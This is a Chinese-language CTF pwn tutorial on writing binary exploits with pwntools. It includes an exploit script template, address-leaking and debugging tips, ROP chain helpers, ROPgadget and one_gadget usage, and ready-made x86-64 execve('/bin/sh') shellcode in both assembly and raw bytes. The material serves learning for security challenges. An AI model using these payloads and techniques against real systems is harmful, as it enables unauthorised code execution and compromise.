Pwntools与exp技巧
相关术语
名称 | 解释 |
---|---|
exploit(简称 exp) | 用于攻击的脚本与方案 |
payload | 攻击载荷,是对目标进程劫持控制流的数据 |
shellcode | 调用攻击目标的 shell 的代码 |
问:poc 与 exp 有什么区别?
在 CVE 漏洞中通常出现 poc,poc 与 exp 类似,但是 poc 只是一种证明,证明存在 CVE 漏洞即可,而 exp 是需要攻击漏洞达成特定的目的
分析二进制程序
- 查看二进制文件类型
file 文件名
- 查看程序保护
checksec 文件名
- 查看 ELF 格式的文件信息,可详细显示各程序段的信息
readelf -a 文件名
其他参数可使用 readelf -h
查看
- 查看二进制程序的符号表
nm 文件名 | less
- 查看二进制文件的十六进制编码
hexdump 文件名 | less
- 查看程序 glibc 版本和位置
ldd 文件名
ldd 不是一个可执行程序,而是通过
ld-linux.so
(ELF 动态库的装载器) 来实现的
exp 编写
exp 就是我们用于漏洞攻击的整个脚本,一个脚本中可能会涉及到多个漏洞的利用,每一个漏洞构造一个 payload 进行利用
exp 脚本模板
注意养成好的书写习惯(适用于 python 11 及以下版本,在 python 12 中需有所改动)
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("")
else:
# 远程程序的 IP 和端口号
io = remote("", )
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
# 与远程交互
io.interactive()
如果
exp.py
可以 PWN 通,会显示[*] Switching to interactive mode
,并且可以进入 shell 正常使用终端命令如果显示
[*] Got EOF while reading in interactive
,则说明 PWN 失败了
exp 编写技巧
获取函数地址
获取 elf 文件中某个已知函数名的函数地址
elf = ELF("./test") # 程序路径
system_addr = elf.symbols["callsystem"] # system_addr 为程序 test 中函数 "callsystem" 的地址
获取字符串地址
获取 elf 文件中字符串的地址
elf = ELF("./test") # 程序路径
bin_sh_addr = next(elf.search(b'/bin/sh')) # bin_sh_addr 为程序 test 中字符串 "/bin/sh" 所在地址
python3 里字符串前面必须加上
b'xxx'
,否则找的是 str 对象,而不是字节数据
接收程序输出的地址
获取程序的输出信息,并将其转换为十六进制数据(获取函数的真实地址)
直接获取一行的输出内容:
io.recvuntil(b'But there is gift for you :\n') # 屏幕输出信息
addr = int(io.recvuntil(b'\n', drop=b'\n'), 16) # 接收直到 \n 为止的输出内容,并将其转换为十六进制 int 型,最后赋值给 addr
也可以指定获取的内容长度:
addr = int(io.recv()[2:10], 16) # 32 位程序:接收输出内容的 2 ~ 9 位(从 0 开始),并将其转换为十六进制 int 型,最后赋值给 addr
addr = int(io.recv()[2:14], 16) # 64 位程序:接收输出内容的 2 ~ 13 位(从 0 开始),并将其转换为十六进制 int 型,最后赋值给 addr
根据程序架构,32 位地址长度为 4 字节,64 位地址长度为 8 字节,也可以直接根据长度获取地址:
addr = u32(io.recv(4)) # 32 位程序的地址
addr = u64(io.recv(8)) # 64 位程序的地址
addr = u32(io.recv(2).ljust(4, b'\x00')) # 32 位程序的地址
addr = u64(io.recv(6).ljust(8, b'\x00')) # 64 位程序的地址
addr = u32(io.recvuntil(b'\x7f')[-2:].ljust(4, b'\x00')) # 32 位程序的地址
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # 64 位程序的地址
注意,函数的地址也可以在 IDA 中直接看到,但是如果程序开启了 PIE(地址随机化),即:每次输出到屏幕的地址信息不一样,则不能采取直接查看 IDA 中的地址并进行赋值,只能使用从屏幕获取程序输出数据的方法
附加 gdb 调试
在 exp 中启动 gdb 调试二进制程序
gdb.attach(io) # 使用 gdb 调试二进制程序的进程 io
pause() # 暂停执行后续的 exp 代码, 按任意键继续, 便于调试
也可以通过 io.process()
启动程序进程后,观察进程 pid
,然后手动通过 gdb attach pid
来调试进程
这两条指令需要一起使用,
gdb.attach(io)
之后必须加上pause()
,否则启动 gdb 后 exp 脚本还会继续往下执行,并不会停在gdb.attach(io)
的地方一般可以在发送 payload 之前 pause(),这样 gdb 调试时内存中还没有我们发送的数据,等我们分析完后,按任意键让 python 脚本继续执行发送 payload,就又可以分析发送 payload 后的程序了,方便我们观察 payload 对程序的影响
为方便使用,编写成 debug()
调试函数如下:
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
执行 C 语言函数
使 Python 编写的 exp 脚本可以执行 C 语言的函数
from ctypes import * # 导入 ctypes 库使 Python 可以执行 C 语言的函数
lib = cdll.LoadLibrary("libc.so.6") # 导入 C 运行库
# ------------------------------------
# 以 C 语言随机数为例:
lib.srand(1) # 设置随机数种子
lib.rand() % 6 + 1 # 执行随机函数
指定程序的 libc
在 exp 中指定二进制程序的 libc
io = process(['替换的新ld(可选)', '二进制程序'], env={'LD_PRELOAD': '替换的新libc'})
一个程序启动需要用到 ld.so 和 libc.so 文件,调用哪个 ld.so 和 libc.so 在程序中是指明的
如果使用的 ld.so 和 libc.so 版本不匹配,直接调用
LD_PRELOAD
会使程序崩溃因此,在使用特定版本的 libc 的时候,还要替换掉对应的 ld.so
随机输入数据测试溢出
生成 200 个随机字符序列:
(gdb) cyclic 200
将随机字符序列输入程序后,报错:
*EIP 0x62616164 ('daab')
Invalid address 0x62616164
说明输入的随机字符数列导致程序溢出,覆盖了返回地址,EIP 在地址 0x62616164 处
计算覆盖返回地址所需的输入偏移量:
(gdb) cyclic -l 0x62616164
或者使用 p
、distance
也可以达到同样效果 (假设两个地址为 address1 和 address 2):
(gdb) p address1-address2
(gdb) distance address1 address2
获取 shell 的方式
获取 shell 常用的三种方式:
system("/bin/sh\x00")
system("sh\x00")
system("$0\x00")
Pwntools
连接程序和端口
语句 | 意义 |
---|---|
io = porcess(“本地文件路径”) | 本地连接 |
io = remote(“ip 地址”, 端口) | 远程连接 |
io.close() | 关闭连接 |
发送 payload
语句 | 意义 |
---|---|
io.sendafter(some_string, payload) | 接收到 some_string 后,发送你的 payload |
io.sendlineafter(some_string, payload) | 接收到 some_string 后,发送你的 payload,并进行换行(末尾 \n) |
io.send(payload) | 发送 payload |
io.sendline(payload) | 发送 payload,并进行换行(末尾 \n) |
接收返回内容
语句 | 意义 |
---|---|
io.recv(N) | 接收 N 个字符 |
io.recvline() | 直接接收一整行的输出 |
io.recvlines(N) | 接收 N 个行的输出 |
io.recvuntil(some_string) | 接收到 some_string 为止 |
io.recvuntil(“\n”, drop=True) | 接收到 “\n” 为止,并且丢弃 “\n” |
int(io.recv(10), 16) | 接收返回内容,长度是10,以将其转换为十六进制的数值 |
int(io.recv()[2:14], 16) | 接收返回内容的第 2 ~ 14 位(从 0 开始),并将其转换为十六进制的数值 |
语句 | 意义 |
---|---|
io.interactive() | 直接进行交互,相当于回到 shell 的模式,一般在取得 shell 之后使用 |
ELF 文件操作
首先需要
elf = ELF("本地文件路径")
创建一个对象
语句 | 意义 |
---|---|
elf.symbols[“function”] | 找到 function 的地址 |
elf.got[“function”] | 找到 function 的 got |
elf.plt[“function”] | 找到 function 的 plt |
next(elf.search(b’some_characters’)) | 找到包含 some_characters 的内容,可以是字符串、汇编代码或某个数值的地址 |
elf.bss()) | 找到 bss 段地址 |
ROP 链
首先需要
rop = ROP("本地文件路径")
创建一个对象
语句 | 意义 |
---|---|
rop.raw(‘a’ * 32) | 在构造的 rop 链里面写32个 a |
rop.call(‘read’ , (0 , elf.bss(0x80))) | 调用一个函数,可以简写成:rop.read(0,elf.bss(0x80)) |
rop.chain() | 就是整个 rop 链,发送的 payload |
rop.dump() | 直观地展示当前的 rop 链 |
rop.migrate(base_stage) | 将程序流程转移到 base_stage(地址) |
rop.unresolve(value) | 给出一个地址,反解析出符号 |
rop.search(regs=[‘ecx’ , ‘ebx’]) | 搜索对 eax 进行操作的 gadget |
rop.find_gadget([‘pop eax’ , ‘ret’]) | 搜索 pop eax ret 这样的 gadget |
Shellcode
当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些能够获取到 shell 的 code 就是 shellcode
在漏洞利用过程时,我们将编制好的 shellcode 通过有问题的程序写入到内存中,然后执行它
shellcode 对应的 C 语言代码一般为:
system("/bin/sh")
生成默认 shellcode
方法一:
shellcode = asm(shellcraft.sh()) # 构造 shellcode
方法二:
shellcode = asm(shellcraft.amd64.linux.sh()) # 构造 64 位 shellcode
这段代码有一个缺点,就是生成的 shellcode 比较长,在某些可写入空间比较小的情况下不能很好的使用
通常生成的 64 位 shellcode 长度为 0x30,32 位 shellcode 长度为 0x2c
手动编写 shellcode
shellcode 原理
在 linux 中,存在一系列的系统调用,这些系统调用都通过
syscall
指令来触发,并且通过rax
寄存器作为系统调用号来区分不同的系统调用,可以查看 linux 下的arch/x86/entry/syscall_64.tbl
获得对应的系统调用号。比如,execve
(执行程序函数,类似于 Python 中的os.system
函数,可以调用其他程序的执行)对应的的系统调用号为 59接着,通过
rdi
和rsi
两个寄存器传入参数。其中,rdi
是指向运行程序的路径的指针,rsi
为一个指向 0 的指针,rdx
为 0也就是说,整个过程应该完成:
rax = 59
rdi = ['/bin/sh']
rsi = [0]
rdx = 0
syscall
- 对应的汇编代码:
xor rdx,rdx
push rdx
mov rsi,rsp
mov rax,0x68732f2f6e69622f // 0x68732f2f6e69622f 就是 '/bin/sh', 这里因为64位数据不能直接push,所以用了rax寄存器来传递
push rax
mov rdi,rsp
mov rax,59
syscall
手动编译 shellcode 使用
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)
# b'H1\xd2RH\x89\xe6H\xb8/bin//shPH\x89\xe7H\xc7\xc0;\x00\x00\x00\x0f\x05'
这样生成的 shellcode 就只有 0x1E,一般这种大小就足够了
其他可用 shellcode
以下两种 shellcode 长度都是 0x1E,共 30 个字节
此外,可以在此网站查阅更多版本的 shellcode:
Shellcodes database for study cases (shell-storm.org)
shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
shellcode = b'\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05'
以下 shellcode 长度为 0x17,共 23 字节
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
ROPgadget
栈溢出中 ROP 用来寻找 gadget 的利器,ROPgadget 安装 pwntools 时自带,无需另外安装
- 查找
pop
和ret
相关的 gadget 片段
ROPgadget --binary 二进制程序 --only 'pop|ret'
仅查找 eax、ebx
相关的 gadget 片段:
ROPgadget --binary 二进制程序 --only 'pop|ret' | grep 'eax'
ROPgadget --binary 二进制程序 --only 'pop|ret' | grep 'ebx'
仅查找 ret
指令:
ROPgadget --binary 文件名 --only 'ret'
- 查找
/bin/sh
字符串
ROPgadget --binary 二进制程序 --string "/bin/sh"
- 查找系统调用
syscall
(64 位)和int 0x80
(32 位)的地址
ROPgadget --binary 文件名 --only 'syscall'
ROPgadget --binary 文件名 --only 'int'
objdump
objdump 是 Linux 下的反汇编工具,同时也是一个非常强大的二进制文件分析工具
基本已弃用,可以用 IDA 代替
- 反汇编应用程序
objdump -M intel -d 文件名
加上 -M intel
参数指定汇编代码为 intel 风格(默认为 AT&T
)
- 显示文件的头信息
objdump -f 文件名
- 显示文件的段信息
objdump -h 文件名
- 显示文件的符号表
objdump -t 文件名
- 显示指定 section 的完整内容,默认所有的非空 section 都会被显示
objdump -s 文件名
glibc-all-in-one 和 patchelf
ELF 文件在生成之后会把动态链接器和 libc 写死到 ELF 文件中,因此只要把 ld 改掉就可以将 ELF 文件链接到其他的 libc,进而加载不同的 libc
- 使用
glibc-all-in-one
和patchelf
修改二进制程序的 GLIBC 版本
更新 glibc 版本:
cd /opt/glibc-all-in-one
sudo ./update_list # 更新 glibc
cat list # 查看各 Ubuntu 版本的 glibc
sudo ./download 2.27-3ubuntu1_amd64 # 下载所需的 glibc 版本, 以 2.27-3ubuntu1_amd64 为例
默认下载到 glibc-all-in-one 的 /libs
目录下
然后复制其中的 ld 文件和 libc 文件到 PWN 题程序目录中(可选,只是复制到 PWN 题程序目录中, ld 文件和 libc 文件的路径更简单,方便一点而已)
以 glibc-all-in-one 中下载的 2.27-3ubuntu1_amd64
下的 ld-2.27.so
和 libc-2.27.so
为例
为了简化 libc 所在路径,可以生成符号链接(可选):
# 生成符号链接, 使 Ubuntu 的 /lib64/ld-2.27.so 指向 /glibc-all-in-one的路径/libs/2.27-3ubuntu1_amd64/ld-2.26.so, 以便动态链接器能够找到正确的文件并加载所需的共享库
sudo ln /glibc-all-in-one的路径/libs/2.27-3ubuntu1_amd64/ld-2.26.so /lib64/ld-2.27.so # 64 位为 /lib64, 32 位为 /lib
# 查看生成的符号链接
ls -l
更改程序的 libc:
# 设置解释器
patchelf --set-interpreter 替换的新ld 二进制程序
# 设置 libc
patchelf --replace-needed 原来的libc 替换的新libc 二进制程序
如果不想手动设置 libc,也可以使用下面的方法直接指定文件夹(推荐):
# 设置解释器
patchelf --set-interpreter 替换的新ld 二进制程序
# 设置文件夹
patchelf --set-rpath 替换的新ld所在的文件夹 二进制程序
以一个具体的例子说明:
- 如果需要使用 gdb 进行调试查看堆栈的话,需要在 gdb 中设置 debug 文件夹
以 2.27-3ubuntu1_amd64
为例
从 glibc-all-in-one
中复制 .debug
文件夹到 PWN 题程序目录中
cp -r opt/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/.debug/ ./debug
在 gdb 中设置 debug 文件夹:
(gdb) set debug-file-directory debug/
one_gadget
one_gadget 是 libc 中存在的一些执行
execve("/bin/sh", NULL, NULL)
的片段,当可以泄露 libc 地址,并且可以知道 libc 版本的时候,可以使用此方法来快速控制指令寄存器开启 shell相比于
system("/bin/sh")
,这种方式更加方便,不用控制RDI
、RSI
、RDX
等参数,运用于不利构造参数的情况每条指令片段都有对应的使用限制,需要注意
使用方法:
one_gadget libc文件名
同时要注意 one_gadget 的使用条件
在每一个可以利用的 execve("/bin/sh", NULL, NULL)
片段后都有一个 constraints 作为约束条件:
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
使用的时候多尝试几个就行